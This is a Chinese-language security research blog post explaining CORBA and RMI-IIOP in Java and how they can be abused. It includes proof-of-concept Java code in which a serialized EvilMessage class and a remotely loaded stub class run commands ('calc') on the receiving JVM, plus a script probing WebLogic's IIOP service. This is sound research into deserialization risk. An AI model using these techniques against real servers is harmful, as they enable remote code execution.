關於 Java 中的 RMI-IIOP

酷酷的曉得哥發表於2019-12-31

作者:Longofo@知道創宇404實驗室
時間:2019年12月30日

原文:

在寫完 的時候,又看到一個包含RMI-IIOP的 [1],在16年 [2]中也提到了這個協議的利用,當時想著沒太看到或聽說有多少關於IIOP的漏洞(可能事實真的如此吧,在下面Weblogic RMI-IIOP部分或許能感受到),所以那篇文章寫作過程中也沒去看之前那個16年議題IIOP相關部分。網上沒怎麼看到有關於IIOP或RMI-IIOP的分析文章,這篇文章來感受下。

環境說明

  • 文中的測試程式碼放到了 上
  • 測試程式碼的JDK版本在文中會具體說明,有的程式碼會被重複使用,對應的JDK版本需要自己切換

RMI-IIOP

在閱讀下面內容之前,可以先閱讀下以下幾個連結的內容,包含了一些基本的概念留個印象:  [3]
[4]
[5]

Java IDL是一種用於分散式物件的技術,即物件在網路上的不同平臺上進行互動。Java IDL使物件能夠進行互動,而不管它們是以Java程式語言還是C,C ++,COBOL或其他語言編寫的。這是可能的,因為Java IDL基於通用物件請求代理體系結構(CORBA),即行業標準的分散式物件模型。CORBA的主要功能是IDL,一種與語言無關的介面定義語言。每種支援CORBA的語言都有自己的IDL對映-顧名思義,Java IDL支援Java對映。為了支援單獨程式中物件之間的互動,Java IDL提供了一個物件請求代理或ORB(Object Request Broker)。ORB是一個類庫,可在Java IDL應用程式與其他符合CORBA的應用程式之間進行低層級的通訊。

CORBA,Common ObjectRequest Broker Architecture(公共物件請求代理體系結構),是由OMG組織制訂的一種標準的物件導向應用程式體系規範。CORBA使用介面定義語言(IDL),用於指定物件提供給外部的介面。然後,CORBA指定從IDL到特定實現語言(如Java)的對映。CORBA規範規定應有一個物件請求代理(ORB),透過該物件應用程式與其他物件進行互動。通用InterORB協議(GIOP)摘要協議的建立是為了允許ORB間的通訊,並提供了幾種具體的協議,包括Internet InterORB協議(IIOP),它是GIOP的實現,可用於Internet,並提供GIOP訊息和TCP/IP層之間的對映。

IIOP,Internet Inter-ORB Protocol(網際網路內部物件請求代理協議),它是一個用於CORBA 2.0及相容平臺上的協議;用來在CORBA物件請求代理之間交流的協議。Java中使得程式可以和其他語言的CORBA實現互操作性的協議。

RMI-IIOP出現以前,只有RMI和CORBA兩種選擇來進行分散式程式設計,二者之間不能協作。RMI-IIOP綜合了RMI 和CORBA的優點,克服了他們的缺點,使得程式設計師能更方便的編寫分散式程式設計,實現分散式計算。RMI-IIOP綜合了RMI的簡單性和CORBA的多語言性相容性,RMI-IIOP克服了RMI只能用於Java的缺點和CORBA的複雜性(可以不用掌握IDL)。

CORBA-IIOP遠端呼叫

在CORBA客戶端和伺服器之間進行遠端呼叫模型如下:

在客戶端,應用程式包含遠端物件的引用,物件引用具有存根方法,存根方法是遠端呼叫該方法的替身。存根實際上是連線到ORB的,因此呼叫它會呼叫ORB的連線功能,該功能會將呼叫轉發到伺服器。

在伺服器端,ORB使用框架程式碼將遠端呼叫轉換為對本地物件的方法呼叫。框架將呼叫和任何引數轉換為其特定於實現的格式,並呼叫客戶端想要呼叫的方法。方法返回時,框架程式碼將轉換結果或錯誤,然後透過ORB將其傳送回客戶端。

在ORB之間,通訊透過共享協議IIOP進行。基於標準TCP/IP Internet協議的IIOP定義了相容CORBA的ORB如何來回傳遞資訊。

編寫一個Java CORBA IIOP遠端呼叫步驟:

  1. 使用idl定義遠端介面
  2. 使用idlj編譯idl,將idl對映為Java,它將生成介面的Java版本類以及存根和骨架的類程式碼檔案,這些檔案使應用程式可以掛接到ORB。在遠端呼叫的客戶端與服務端編寫程式碼中會使用到這些類檔案。
  3. 編寫服務端程式碼
  4. 編寫客戶端程式碼
  5. 依次啟動命名服務->服務端->客戶端

好了,用程式碼感受下( 找到一份現成的程式碼可以直接用,不過做了一些修改):

1、2步驟作者已經幫我們生成好了,生成的程式碼在 目錄

服務端:

//服務端package com.longofo.corba.example;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import org.omg.CORBA.ORB;import org.omg.CosNaming.NameComponent;import org.omg.CosNaming.NamingContextExt;import org.omg.CosNaming.NamingContextExtHelper;import org.omg.PortableServer.POA;import org.omg.PortableServer.POAHelper;public class Server {
    public static void main(String[] args) {
        if (args.length == 0) {
            args = new String[4];
            args[0] = "-ORBInitialPort";
            args[1] = "1050";
            args[2] = "-ORBInitialHost";
            args[3] = "localhost";
        }
        try {
            //建立並初始化ORB            ORB orb = ORB.init(args, null);
            //獲取根POA的引用並啟用POAManager            POA rootpoa = POAHelper.narrow(orb.resolve_initial_references("RootPOA"));
            rootpoa.the_POAManager().activate();
            //建立servant            EchoImpl echoImpl = new EchoImpl();
            //獲取與servant關聯的物件引用            org.omg.CORBA.Object ref = rootpoa.servant_to_reference(echoImpl);
            Echo echoRef = EchoHelper.narrow(ref);
            //為所有CORBA ORB定義字串"NameService"。當傳遞該字串時,ORB返回一個命名上下文物件,該物件是名稱服務的物件引用            org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
            NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
            NameComponent path[] = ncRef.to_name("ECHO-SERVER");
            ncRef.rebind(path, echoRef);
            System.out.println("Server ready and waiting...");
            //等待客戶端呼叫            orb.run();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }}

客戶端:

//客戶端package com.longofo.corba.example;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import org.omg.CORBA.ORB;import org.omg.CosNaming.NamingContextExt;import org.omg.CosNaming.NamingContextExtHelper;public class Client {
    public static void main(String[] args) {
        if (args.length == 0) {
            args = new String[4];
            args[0] = "-ORBInitialPort";
            args[1] = "1050";
            args[2] = "-ORBInitialHost";
            args[3] = "localhost";
        }
        try {
            //建立並初始化ORB            ORB orb = ORB.init(args, null);
            org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
            NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
            Echo href = EchoHelper.narrow(ncRef.resolve_str("ECHO-SERVER"));
            String hello = href.echoString();
            System.out.println(hello);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }}//使用Jndi查詢客戶端package com.longofo.corba.example;import com.alibaba.fastjson.JSON;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import javax.naming.*;import java.io.IOException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class JndiClient {
    /**
     * 列出所有遠端物件名
     */
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException {
        InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
        //列出所有遠端物件名        System.out.println(JSON.toJSONString(listAllEntries(initialContext), true));
        System.out.println("-----------call remote method--------------");
        Echo echoRef = EchoHelper.narrow((org.omg.CORBA.Object) initialContext.lookup("ECHO-SERVER"));
        System.out.println(echoRef.echoString());
    }
    private static Map listAllEntries(Context initialContext) throws NamingException {
        String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : "";
        HashMap<String, Object> map = new HashMap<String, Object>();
        System.out.println("> Listing namespace: " + namespace);
        NamingEnumeration<NameClassPair> list = initialContext.list(namespace);
        while (list.hasMoreElements()) {
            NameClassPair next = list.next();
            String name = next.getName();
            String jndiPath = namespace + name;
            HashMap<String, Object> lookup = new HashMap<String, Object>();
            try {
                System.out.println("> Looking up name: " + jndiPath);
                Object tmp = initialContext.lookup(jndiPath);
                if (tmp instanceof Context) {
                    lookup.put("class", tmp.getClass());
                    lookup.put("interfaces", tmp.getClass().getInterfaces());
                    Map<String, Object> entries = listAllEntries((Context) tmp);
                    for (Map.Entry<String, Object> entry : entries.entrySet()) {
                        String key = entry.getKey();
                        if (key != null) {
                            lookup.put(key, entries.get(key));
                            break;
                        }
                    }
                } else {
                    lookup.put("class", tmp.getClass());
                    lookup.put("interfaces", tmp.getClass().getInterfaces());
                }
            } catch (Throwable t) {
                lookup.put("error msg", t.toString());
                Object tmp = initialContext.lookup(jndiPath);
                lookup.put("class", tmp.getClass());
                lookup.put("interfaces", tmp.getClass().getInterfaces());
            }
            map.put(name, lookup);
        }
        return map;
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

客戶端使用了兩種方式,一種是COSNaming查詢,另一種是Jndi查詢,兩種方式都可以,在jdk1.8.0_181測試透過。

首先啟動一個命名伺服器(可以理解為rmi的registry),使用ordb啟動如下,orbd預設自帶(如果你有jdk環境的話):

然後啟動服務端corba-iiop/src/main/java/com/longofo/example/Server.java,在啟動corba-iiop/src/main/java/com/longofo/example/Client.java或JndiClient.java即可。

這裡看下JndiClient的結果:

> Listing namespace: > Looking up name: ECHO-SERVER{
    "ECHO-SERVER":{
        "interfaces":[],
        "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"
    }}-----------call remote method--------------Hello World!!!

注意到那個class不是沒有獲取到原本的EchoImpl類對應的Stub class,而我們之前rmi測試也用過這個list查詢,那時候是能查詢到遠端物件對應的stub類名的。這可能是因為Corba的實現機制的原因, com.sun.corba.se.impl.corba.CORBAObjectImpl是一個通用的Corba物件類,而上面的narrow呼叫 EchoHelper.narrow就是一種將物件變窄的方式轉換為Echo Stub物件,然後才能呼叫echoString方法,並且每一個遠端物件的呼叫都要使用它對應的xxxHelper。

下面是Corba客戶端與服務端通訊包:

第1、2個包是客戶端與ordb通訊的包,後面就是客戶端與服務端通訊的包。可以看到第二個資料包的IOR(Interoperable Object Reference)中包含著服務端的ip、port等資訊,意思就是客戶端先從ordb獲取服務端的資訊,然後接著與服務端通訊。同時這些資料中也沒有平常所說的 ac ed 00 05 標誌,但是其實反序列化的資料被包裝了,在後面的RMI-IIOP中有一個例子會進行說明。

IOR幾個關鍵欄位:

  • Type ID:介面型別,也稱為儲存庫ID格式。本質上,儲存庫ID是介面的唯一識別符號。例如上面的 IDL:omg.org/CosNaming/NamingContext:1.0
  • IIOP version:描述由ORB實現的IIOP版本
  • Host:標識ORB主機的TCP/IP地址
  • Port:指定ORB在其中偵聽客戶端請求的TCP/IP埠號
  • Object Key:唯一地標識了被ORB匯出的servant
  • Components:包含適用於物件方法的附加資訊的序列,例如支援的ORB服務和專有協議支援等
  • Codebase:用於獲取stub類的遠端位置。透過控制這個屬性,攻擊者將控制在伺服器中解碼IOR引用的類,在後面利用中我們能夠看到。

只使用Corba進行遠端呼叫很麻煩,要編寫IDL檔案,然後手動生成對應的類檔案,同時還有一些其他限制,然後就有了RMI-IIOP,結合了Corba、RMI的優點。

RMI-IIOP遠端呼叫

編寫一個RMI IIOP遠端呼叫步驟:

  1. 定義遠端介面類
  2. 編寫實現類
  3. 編寫服務端
  4. 編寫客戶端
  5. 編譯程式碼併為服務端與客戶端生成對應的使用類

下面直接給出一種惡意利用的demo場景。

服務端:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class HelloServer {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) {
        try {
            //例項化Hello servant            HelloImpl helloRef = new HelloImpl();
            //使用JNDI在命名服務中釋出引用            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            initialContext.rebind("HelloService", helloRef);
            System.out.println("Hello Server Ready...");
            Thread.currentThread().join();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

客戶端:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.rmi.PortableRemoteObject;import java.util.Hashtable;public class HelloClient {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) {
        try {
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            //從命名服務獲取引用            Object objRef = initialContext.lookup("HelloService");
            //narrow引用為具體的物件            HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class);
            EvilMessage message = new EvilMessage();
            message.setMsg("Client call method sayHello...");
            hello.sayHello(message);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

假設在服務端中存在EvilMessage這個能進行惡意利用的類,在客戶端中編寫同樣包名類名相同的類,並繼承 HelloInterface.sayHello(Message msg)方法中Message類:

package com.longofo.example;import java.io.ObjectInputStream;public class EvilMessage extends Message {
    private void readObject(ObjectInputStream s) {
        try {
            s.defaultReadObject();
            Runtime.getRuntime().exec("calc");
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }}

先編譯好上面的程式碼,然後生成服務端與客戶端進行遠端呼叫的代理類:

rmic -iiop com.longofo.example.HelloImpl

執行完成後,在下面生成了兩個類(Tie用於服務端,Stub用於客戶端):

啟動一個命名伺服器:

orbd -ORBInitialPort 1050 -ORBInitialHost loaclhost

啟動服務端rmi-iiop/src/main/java/com/longofo/example/HelloServer.java,再啟動客戶端rmi-iiop/src/main/java/com/longofo/example/HelloClient.java即可看到計算器彈出,在JDK 1.8.1_181測試透過。

服務端呼叫棧如下:

注意那個 _HelloImpl_Tie.read_value,這是在19年BlackHat議題 [1]提到的,如果直接看那個pdf中關於RMI-IIOP的內容,可能會一臉懵逼,因為議題中沒有上面這些前置資訊,有了上面這些資訊,再去看那個議題的內容可能會輕鬆些。透過呼叫棧我們也能看到,IIOP通訊中的某些資料被還原成了 CDRInputStream,這是InputStream的子類,而被包裝的資料在下面Stub data這裡:

最後透過反射呼叫到了EvilMessage的readObject,看到這裡其實就清楚一些了。不過事實可能會有些殘酷,不然為什麼關於RMI-IIOP的漏洞很少看到,看看下面Weblogic RMI-IIOP來感受下。

Weblogic中的RMI-IIOP

Weblogic預設是開啟了iiop協議的,如果是上面這樣的話,看通訊資料以及上面的呼叫過程極大可能是不會經過Weblogic的黑名單了。

直接用程式碼測試吧(利用的Weblogic自帶的JDK 1.6.0_29測試):

import com.alibaba.fastjson.JSON;import javax.ejb.RemoveException;import javax.management.j2ee.ManagementHome;import javax.naming.*;import javax.rmi.PortableRemoteObject;import java.io.IOException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class PayloadIiop {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException, RemoveException {
        InitialContext initialContext = getInitialContext("iiop://127.0.0.1:7001");
        System.out.println(JSON.toJSONString(listAllEntries(initialContext), true));
        Object objRef = initialContext.lookup("ejb/mgmt/MEJB");
        ManagementHome managementHome = (ManagementHome) PortableRemoteObject.narrow(objRef, ManagementHome.class);
        managementHome.remove(new Object());//這裡只是測試能否成功呼叫到remove方法,如果能成功呼叫,Object按照上面RMI-IIOP那種方式惡意利用    }
    private static Map listAllEntries(Context initialContext) throws NamingException {
        String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : "";
        HashMap<String, Object> map = new HashMap<String, Object>();
        System.out.println("> Listing namespace: " + namespace);
        NamingEnumeration<NameClassPair> list = initialContext.list(namespace);
        while (list.hasMoreElements()) {
            NameClassPair next = list.next();
            String name = next.getName();
            String jndiPath = namespace + name;
            HashMap<String, Object> lookup = new HashMap<String, Object>();
            try {
                System.out.println("> Looking up name: " + jndiPath);
                Object tmp = initialContext.lookup(jndiPath);
                if (tmp instanceof Context) {
                    lookup.put("class", tmp.getClass());
                    lookup.put("interfaces", tmp.getClass().getInterfaces());
                    Map<String, Object> entries = listAllEntries((Context) tmp);
                    for (Map.Entry<String, Object> entry : entries.entrySet()) {
                        String key = entry.getKey();
                        if (key != null) {
                            lookup.put(key, entries.get(key));
                            break;
                        }
                    }
                } else {
                    lookup.put("class", tmp.getClass());
                    lookup.put("interfaces", tmp.getClass().getInterfaces());
                }
            } catch (Throwable t) {
                lookup.put("error msg", t.toString());
                Object tmp = initialContext.lookup(jndiPath);
                lookup.put("class", tmp.getClass());
                lookup.put("interfaces", tmp.getClass().getInterfaces());
            }
            map.put(name, lookup);
        }
        return map;
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

list查詢結果如下:

> Listing namespace: > Looking up name: weblogic
> Listing namespace: > Looking up name: ejb
> Listing namespace: > Looking up name: mgmt
> Listing namespace: > Looking up name: MEJB
> Looking up name: javax
> Listing namespace: > Looking up name: mejbmejb_jarMejb_EO{
    "ejb":{
        "mgmt":{
            "MEJB":{
                "interfaces":[],
                "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"
            },
            "interfaces":["javax.naming.Context"],
            "class":"com.sun.jndi.cosnaming.CNCtx"
        },
        "interfaces":["javax.naming.Context"],
        "class":"com.sun.jndi.cosnaming.CNCtx"
    },
    "javax":{
        "error msg":"org.omg.CORBA.NO_PERMISSION:   vmcid: 0x0  minor code: 0  completed: No",
        "interfaces":["javax.naming.Context"],
        "class":"com.sun.jndi.cosnaming.CNCtx"
    },
    "mejbmejb_jarMejb_EO":{
        "interfaces":[],
        "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"
    },
    "weblogic":{
        "error msg":"org.omg.CORBA.NO_PERMISSION:   vmcid: 0x0  minor code: 0  completed: No",
        "interfaces":["javax.naming.Context"],
        "class":"com.sun.jndi.cosnaming.CNCtx"
    }}

這些遠端物件的名稱和透過預設的rmi://協議查詢的結果是一樣的,只是class和interfaces不同。

但是到 managementHome.remove就報錯了,managementHome為null。在上面RMI-IIOP的測試中,客戶端要呼叫遠端需要用到客戶端的Stub類,去查詢了下 ejb/mgmt/MEJB對應的實現類 weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl,他有一個Stub類為 weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub,但是這個Stub類是為預設的RMI JRMP方式生成的,並沒有為IIOP呼叫生成客戶端與服務端類,只是繫結了一個名稱。

透過一些查詢,每一個IIOP遠端物件對應的Tie類和Stub類都會有一個特徵:

根據這個特徵,在Weblogic中確實有很多這種已經為IIOP呼叫生成的客戶端Stub類,例如 _MBeanHomeImpl_Stub類,是 MBeanHomeImpl客戶端的Stub類:

一個很尷尬的事情就是,Weblogic預設繫結了遠端名稱的實現類沒有為IIOP實現服務端類與客戶端類,但是沒有繫結的一些類卻實現了,所以預設無法利用了。

剛才呼叫失敗了,來看下沒有成功呼叫的通訊:

在COSNaming查詢包之後,服務端返回了type_ip為 RMI:javax.management.j2ee.ManagementHome:0000000000000000的標誌,

然後下一個包又繼續了一個 _is_a查詢:

下一個包就返回了type_id not match:

可以猜測的是服務端沒有生成IIOP對應的服務端與客戶端類,然後命名伺服器中找不到關於的 RMI:javax.management.j2ee.ManagementHome:0000000000000000標記,透過查詢也確實沒有找到對應的類。

不過上面這種利用方式只是在程式碼層呼叫遵守了Corba IIOP的一些規範,規規矩矩的呼叫,在協議層能不能透過替換、修改等操作進行構造與利用,能力有限,未深入研究IIOP通訊過程。

在今年的那個議題RMI-IIOP部分,給出了Websphere一個攔截器類TxServerInterceptor中使用到 read_any方法的情況,從這個名字中可以看出是一個攔截器,所以基本上所有請求都會經過這裡。這裡最終也呼叫到 read_value,就像上面的 _HelloImpl_Tie.read_value一樣,這裡也能進行可以利用,只要目標伺服器存在可利用的鏈,作者也給出了一些Websphere中的利用鏈。可以看到,不只是在遠端呼叫中會存在惡意利用的地方,在其他地方也可能以另一種方式存在,不過在方法呼叫鏈中核心的幾個地方依然沒有變, CDRInputStreamread_value,可能手動去找這些特徵很累甚至可能根本找不到,那麼龐大的程式碼量,不過要是有所有的方法呼叫鏈,例如GatgetInspector那種工具,之前 過這個工具。這是後面的打算了,目標是自由的編寫自己的控制邏輯。

JNDI中的利用

在JNDI利用中有多種的利用方式,而RMI-IIOP只是預設RMI利用方式(透過JRMP傳輸)的替代品,在RMI預設利用方式無法利用時,可以考慮用這種方式。但是這種方式依然會受到SecurityManager的限制。

在RMI-IIOP測試程式碼中,我把client與server放在了一起,客戶端與服務端使用的Tie與Stub也放在了一起,可能會感到迷惑。那下面我們就單獨把Client拿出來進行測試以及看下遠端載入。

服務端程式碼還是使用RMI-IIOP中的Server,但是加了一個codebase:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class HelloServer {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) {
        try {
            System.setProperty("java.rmi.server.codebase", ");
            //例項化Hello servant            HelloImpl helloRef = new HelloImpl();
            //使用JNDI在命名服務中釋出引用            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            initialContext.rebind("HelloService", helloRef);
            System.out.println("Hello Server Ready...");
            Thread.currentThread().join();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

Client程式碼在新建的 模組,這樣模組之間不會受到影響,Client程式碼如下:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.rmi.RMISecurityManager;import java.util.Hashtable;public class HelloClient {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) {
        try {
            System.setProperty("java.security.policy", HelloClient.class.getClassLoader().getResource("java.policy").getFile());
            RMISecurityManager securityManager = new RMISecurityManager();
            System.setSecurityManager(securityManager);
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            //從命名服務獲取引用            initialContext.lookup("HelloService");
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

然後我在remote-class模組增加了一個 com.longofo.example._HelloInterface_Stub

package com.longofo.example;import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.InputStreamReader;public class _HelloInterface_Stub {
    static {
        //這裡由於在static程式碼塊中,無法直接拋異常外帶資料,不過有其他方式外帶資料,可以自己查詢下。沒寫在建構函式中是因為專案中有些利用方式不會呼叫構造引數,所以為了方標直接寫在static程式碼塊中        try {
            exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        throw new Exception(sb);
    }}

啟動遠端類服務remote-class/src/main/java/com/longofo/remoteclass/HttpServer.java,再啟動rmi-iiop/src/main/java/com/longofo/example/HelloServer.java,然後執行客戶端rmi-iiop-test-client/src/main/java/com/longofo/example/HelloClient.java即可彈出計算器。在JDK 1.8.0_181測試透過。

至於為什麼進行了遠端呼叫,在 CDRInputStream_1_0.read_object下個斷點,然後跟蹤就會明白了,最後還是利用了rmi的遠端載入功能:

總結

遺憾就是沒有成功在Weblogic中利用到RMI-IIOP,在這裡寫出來提供一些思路,如果大家有關於RMI-IIOP的其他發現與想法也記得分享下。不知道大家有沒有關於RMI-IIOP比較好的真實案例。

參考

如需轉載請註明來源。

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69912109/viewspace-2671429/,如需轉載,請註明出處,否則將追究法律責任。

相關文章